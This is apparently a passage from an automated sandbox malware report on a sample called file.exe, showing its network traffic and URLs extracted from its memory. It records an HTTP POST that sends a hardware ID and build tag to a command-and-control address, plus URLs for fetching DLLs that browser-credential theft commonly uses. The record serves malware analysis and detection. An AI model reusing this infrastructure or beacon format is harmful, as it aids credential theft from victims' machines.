include="cr-hidden-style">:host{--ntp-logo-height:200px;display:flex;flex-direction:column;flex-shrink:0;justify-content:flex-end;min-height:var(--ntp-logo-height)}:host([reduced-logo-space-enabled_]){--ntp-logo-height:168px}:host([doodle-boxed_]){justify-content:flex-end}#logo{forced-color-adjust:none;height:92px;width:272px}:host([single-colored]) #logo{-webkit-mask-image:url(icons/google_logo.svg);-webkit-mask-repeat:no-repeat;-webkit-mask-size:100%;background-color:var(--ntp-logo-color)}:host(:not([single-colored])) #logo{background-image:url(icons/google_logo.svg)}#imageDoodle{cursor:pointer;outline:0}#imageDoodle[tabindex='-1']{cursor:auto}:host([doodle-boxed_]) #imageDoodle{background-color:var(--ntp-logo-box-color);border-radius:20px;padding:16px 24px}:host-context(.focus-outline-visible) #imageDoodle:focus{box-shadow:0 0 0 2px rgba(var(--google-blue-600-rgb),.4)}#imageContainer{display:flex;height:fit-content;position:relative;width:fit-content}#image{max-height:var(--ntp-logo-height);max-width:100%}:host([doodle-boxed_]) #image{max-height:160px}:host([doodle-boxed_][reduced-logo-space-enabled_]) #image{max-height:128px}#animation{height:100%;pointer-events:none;position:absolute;width:100%}#shareButton{background-color:var(--ntp-logo-share-button-background-color,none);border:none;height:var(--ntp-logo-share-button-height,0);left:var(--ntp-logo-share-button-x,0);min-width:var(--ntp-logo-share-button-width,0);opacity:.8;outline:initial;padding:2px;position:absolute;top:var(--ntp-logo-share-button-y,0);width:var(--ntp-logo-share-button-width,0)}#shareButton:hover{opacity:1}#shareButton img{height:100%;width:100%}#iframe{border:none;

Source: global traffic	DNS traffic detected: DNS query: www.google.com
Source: global traffic	DNS traffic detected: DNS query: apis.google.com
Source: global traffic	DNS traffic detected: DNS query: play.google.com

Source: unknown

HTTP traffic detected: POST /6c4adf523b719729.php HTTP/1.1Content-Type: multipart/form-data; boundary=----AFIEGCAECGCAEBFHDHIEHost: 185.215.113.206Content-Length: 211Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 41 46 49 45 47 43 41 45 43 47 43 41 45 42 46 48 44 48 49 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 42 44 44 46 35 43 43 41 32 35 35 44 32 35 39 34 32 34 38 33 34 31 0d 0a 2d 2d 2d 2d 2d 2d 41 46 49 45 47 43 41 45 43 47 43 41 45 42 46 48 44 48 49 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 74 61 6c 65 0d 0a 2d 2d 2d 2d 2d 2d 41 46 49 45 47 43 41 45 43 47 43 41 45 42 46 48 44 48 49 45 2d 2d 0d 0a Data Ascii: ------AFIEGCAECGCAEBFHDHIEContent-Disposition: form-data; name="hwid"BDDF5CCA255D2594248341------AFIEGCAECGCAEBFHDHIEContent-Disposition: form-data; name="build"tale------AFIEGCAECGCAEBFHDHIE--

Source: file.exe, 00000000.00000002.2134581160.0000000000466000.00000040.00000001.01000000.00000003.sdmp, file.exe, 00000000.00000002.2135739044.000000000105E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206
Source: file.exe, 00000000.00000002.2135739044.00000000010B5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/
Source: file.exe, 00000000.00000002.2134581160.0000000000494000.00000040.00000001.01000000.00000003.sdmp, file.exe, 00000000.00000002.2135739044.00000000010D5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/6c4adf523b719729.php
Source: file.exe, 00000000.00000002.2135739044.00000000010B5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/6c4adf523b719729.php#
Source: file.exe, 00000000.00000002.2135739044.00000000010D5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/6c4adf523b719729.php4
Source: file.exe, 00000000.00000002.2135739044.00000000010B5000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2135739044.00000000010D5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/6c4adf523b719729.php?
Source: file.exe, 00000000.00000002.2135739044.00000000010B5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/6c4adf523b719729.phpC
Source: file.exe, 00000000.00000002.2135739044.00000000010B5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/6c4adf523b719729.phpDBAFHJJDAKEBGCFCB
Source: file.exe, 00000000.00000002.2135739044.00000000010B5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/6c4adf523b719729.phpDBAFHJJDAKEBGCFCBw
Source: file.exe, 00000000.00000002.2135739044.00000000010B5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/6c4adf523b719729.phpEGDAKEHJDHIDHJJDA
Source: file.exe, 00000000.00000002.2135739044.00000000010D5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/6c4adf523b719729.phpJ&
Source: file.exe, 00000000.00000002.2135739044.00000000010B5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/6c4adf523b719729.php_
Source: file.exe, 00000000.00000002.2135739044.00000000010D5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/6c4adf523b719729.phpcal
Source: file.exe, 00000000.00000002.2135739044.00000000010D5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/6c4adf523b719729.phpe
Source: file.exe, 00000000.00000002.2134581160.00000000003AC000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: http://185.215.113.206/6c4adf523b719729.phpion:
Source: file.exe, 00000000.00000002.2135739044.00000000010B5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/6c4adf523b719729.phpo
Source: file.exe, 00000000.00000002.2135739044.00000000010D5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/6c4adf523b719729.phprowser
Source: file.exe, 00000000.00000002.2135739044.00000000010B5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/6c4adf523b719729.phpw
Source: file.exe, 00000000.00000002.2135739044.00000000010D5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/746f34465cf17784/freebl3.dll
Source: file.exe, 00000000.00000002.2135739044.00000000010D5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/746f34465cf17784/mozglue.dll
Source: file.exe, 00000000.00000002.2135739044.00000000010D5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/746f34465cf17784/mozglue.dll7
Source: file.exe, 00000000.00000002.2135739044.00000000010D5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/746f34465cf17784/msvcp140.dll
Source: file.exe, 00000000.00000002.2135739044.00000000010D5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/746f34465cf17784/msvcp140.dll6
Source: file.exe, 00000000.00000002.2135739044.00000000010D5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/746f34465cf17784/nss3.dll
Source: file.exe, 00000000.00000002.2135739044.00000000010D5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/746f34465cf17784/nss3.dlle
Source: file.exe, 00000000.00000002.2135739044.00000000010B5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/746f34465cf17784/softokn3.dll
Source: file.exe, 00000000.00000002.2134581160.0000000000494000.00000040.00000001.01000000.00000003.sdmp, file.exe, 00000000.00000002.2135739044.00000000010D5000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2135739044.000000000105E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/746f34465cf17784/sqlite3.dll
Source: file.exe, 00000000.00000002.2135739044.00000000010B5000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2135739044.00000000010D5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/746f34465cf17784/vcruntime140.dll
Source: file.exe, 00000000.00000002.2135739044.00000000010B5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/746f34465cf17784/vcruntime140.dll)L
Source: file.exe, 00000000.00000002.2135739044.00000000010B5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/746f34465cf17784/vcruntime140.dll9L
Source: file.exe, 00000000.00000002.2135739044.00000000010B5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/746f34465cf17784/vcruntime140.dllIMk
Source: file.exe, 00000000.00000002.2135739044.00000000010D5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/746f34465cf17784/vcruntime140.dllMicrosoft
Source: file.exe, 00000000.00000002.2135739044.00000000010B5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/Pm
Source: file.exe, 00000000.00000002.2134581160.00000000003AC000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: http://185.215.113.206BFC
Source: file.exe, 00000000.00000002.2135739044.000000000105E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206l
Source: chrome.exe, 00000002.00000003.1891307602.000007C0007A8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.1887835912.000007C000384000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.1891281270.000007C000384000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/1423136
Source: chrome.exe, 00000002.00000003.1891307602.000007C0007A8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.1887835912.000007C000384000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.1891281270.000007C000384000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/2162
Source: chrome.exe, 00000002.00000003.1891307602.000007C0007A8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.1887835912.000007C000384000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.1891281270.000007C000384000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/2517
Source: chrome.exe, 00000002.00000003.1891307602.000007C0007A8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.1887835912.000007C000384000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.1891281270.000007C000384000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/2970
Source: chrome.exe, 00000002.00000003.1891307602.000007C0007A8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.1887835912.000007C000384000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.1891281270.000007C000384000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/3078
Source: chrome.exe, 00000002.00000003.1891307602.000007C0007A8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.1887835912.000007C000384000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.1891281270.000007C000384000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/3205
Source: chrome.exe, 00000002.00000003.1891307602.000007C0007A8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.1887835912.000007C000384000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.1891281270.000007C000384000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/3206
Source: chrome.exe, 00000002.00000003.1891307602.000007C0007A8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.1887835912.000007C000384000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.1891281270.000007C000384000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/3452
Source: chrome.exe, 00000002.00000003.1891307602.000007C0007A8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.1887835912.000007C000384000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.1891281270.000007C000384000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/3498
Source: chrome.exe, 00000002.00000003.1891307602.000007C0007A8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.1887835912.000007C000384000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.1891281270.000007C000384000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/3502
Source: chrome.exe, 00000002.00000003.1891307602.000007C0007A8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.1887835912.000007C000384000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.1891281270.000007C000384000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/3577
Source: chrome.exe, 00000002.00000003.1891307602.000007C0007A8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.1887835912.000007C000384000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.1891281270.000007C000384000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/3584
Source: chrome.exe, 00000002.00000003.1891307602.000007C0007A8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.1887835912.000007C000384000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.1891281270.000007C000384000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/3586
Source: chrome.exe, 00000002.00000003.1891281270.000007C000384000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/3623
Source: chrome.exe, 00000002.00000003.1891281270.000007C000384000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/3624
Source: chrome.exe, 00000002.00000003.1891281270.000007C000384000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/3625
Source: chrome.exe, 00000002.00000003.1891307602.000007C0007A8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.1887835912.000007C000384000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.1891281270.000007C000384000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/3832
Source: chrome.exe, 00000002.00000003.1891307602.000007C0007A8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.1887835912.000007C000384000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.1891281270.000007C000384000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/3862
Source: chrome.exe, 00000002.00000003.1891307602.000007C0007A8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.1887835912.000007C000384000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.1891281270.000007C000384000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/3965
Source: chrome.exe, 00000002.00000003.1891307602.000007C0007A8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.1887835912.000007C000384000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.1891281270.000007C000384000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/3970
Source: chrome.exe, 00000002.00000003.1891307602.000007C0007A8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.1887835912.000007C000384000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.1891281270.000007C000384000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/4324
Source: chrome.exe, 00000002.00000003.1891307602.000007C0007A8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.1887835912.000007C000384000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.1891281270.000007C000384000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/4384
Source: chrome.exe, 00000002.00000003.1891307602.000007C0007A8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.1887835912.000007C000384000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.1891281270.000007C000384000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/4405
Source: chrome.exe, 00000002.00000003.1891307602.000007C0007A8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.1887835912.000007C000384000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.1891281270.000007C000384000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/4428
Source: chrome.exe, 00000002.00000003.1891307602.000007C0007A8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.1887835912.000007C000384000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.1891281270.000007C000384000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/4551
Source: chrome.exe, 00000002.00000003.1891307602.000007C0007A8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.1887835912.000007C000384000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.1891281270.000007C000384000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/4633
Source: chrome.exe, 00000002.00000003.1891307602.000007C0007A8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.1887835912.000007C000384000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.1891281270.000007C000384000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/4722
Source: chrome.exe, 00000002.00000003.1891307602.000007C0007A8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.1887835912.000007C000384000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.1891281270.000007C000384000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/4836
Source: chrome.exe, 00000002.00000003.1891307602.000007C0007A8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.1887835912.000007C000384000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.1891281270.000007C000384000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/4901
Source: chrome.exe, 00000002.00000003.1891307602.000007C0007A8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.1887835912.000007C000384000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.1891281270.000007C000384000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/4937
Source: chrome.exe, 00000002.00000003.1891307602.000007C0007A8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.1887835912.000007C000384000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.1891281270.000007C000384000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/5007
Source: chrome.exe, 00000002.00000003.1891307602.000007C0007A8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.1887835912.000007C000384000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.1891281270.000007C000384000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/5055
Source: chrome.exe, 00000002.00000003.1891307602.000007C0007A8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.1887835912.000007C000384000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.1891281270.000007C000384000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/5061
Source: chrome.exe, 00000002.00000003.1891307602.000007C0007A8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.1887835912.000007C000384000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.1891281270.000007C000384000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/5281
Source: chrome.exe, 00000002.00000003.1891307602.000007C0007A8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.1887835912.000007C000384000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.1891281270.000007C000384000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/5371
Source: chrome.exe, 00000002.00000003.1891307602.000007C0007A8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.1887835912.000007C000384000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.1891281270.000007C000384000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/5375
Source: chrome.exe, 00000002.00000003.1891307602.000007C0007A8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.1887835912.000007C000384000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.1891281270.000007C000384000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/5421
Source: chrome.exe, 00000002.00000003.1891307602.000007C0007A8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.1887835912.000007C000384000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.1891281270.000007C000384000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/5430
Source: chrome.exe, 00000002.00000003.1891307602.000007C0007A8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.1887835912.000007C000384000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.1891281270.000007C000384000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/5535
Source: chrome.exe, 00000002.00000003.1891307602.000007C0007A8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.1887835912.000007C000384000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.1891281270.000007C000384000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/5658
Source: chrome.exe, 00000002.00000003.1891307602.000007C0007A8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.1887835912.000007C000384000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.1891281270.000007C000384000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/5750
Source: chrome.exe, 00000002.00000003.1891307602.000007C0007A8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.1887835912.000007C000384000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.1891281270.000007C000384000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/5881
Source: chrome.exe, 00000002.00000003.1891307602.000007C0007A8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.1887835912.000007C000384000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.1891281270.000007C000384000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/5901
Source: chrome.exe, 00000002.00000003.1891307602.000007C0007A8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.1887835912.000007C000384000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.1891281270.000007C000384000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/5906
Source: chrome.exe, 00000002.00000003.1891307602.000007C0007A8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.1887835912.000007C000384000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.1891281270.000007C000384000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/6041
Source: chrome.exe, 00000002.00000003.1891307602.000007C0007A8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.1887835912.000007C000384000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.1891281270.000007C000384000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/6048
Source: chrome.exe, 00000002.00000003.1891307602.000007C0007A8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.1887835912.000007C000384000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.1891281270.000007C000384000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/6141
Source: chrome.exe, 00000002.00000003.1891307602.000007C0007A8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.1887835912.000007C000384000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.1891281270.000007C000384000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/6248
Source: chrome.exe, 00000002.00000003.1891307602.000007C0007A8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.1887835912.000007C000384000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.1891281270.000007C000384000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/6439
Source: chrome.exe, 00000002.00000003.1891307602.000007C0007A8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.1887835912.000007C000384000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.1891281270.000007C000384000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/6651
Source: chrome.exe, 00000002.00000003.1891307602.000007C0007A8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.1887835912.000007C000384000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.1891281270.000007C000384000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/6692
Source: chrome.exe, 00000002.00000003.1891307602.000007C0007A8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.1887835912.000007C000384000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.1891281270.000007C000384000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/6755
Source: chrome.exe, 00000002.00000003.1891307602.000007C0007A8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.1887835912.000007C000384000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.1891281270.000007C000384000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/6860
Source: chrome.exe, 00000002.00000003.1891307602.000007C0007A8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.1887835912.000007C000384000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.1891281270.000007C000384000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/6876
Source: chrome.exe, 00000002.00000003.1891307602.000007C0007A8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.1887835912.000007C000384000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.1891281270.000007C000384000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/6878
Source: chrome.exe, 00000002.00000003.1891307602.000007C0007A8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.1887835912.000007C000384000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.1891281270.000007C000384000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/6929
Source: chrome.exe, 00000002.00000003.1891307602.000007C0007A8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.1887835912.000007C000384000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.1891281270.000007C000384000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/6953
Source: chrome.exe, 00000002.00000003.1891307602.000007C0007A8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.1887835912.000007C000384000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.1891281270.000007C000384000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/7036
Source: chrome.exe, 00000002.00000003.1891307602.000007C0007A8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.1887835912.000007C000384000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.1891281270.000007C000384000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/7047
Source: chrome.exe, 00000002.00000003.1891307602.000007C0007A8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.1887835912.000007C000384000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.1891281270.000007C000384000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/7172
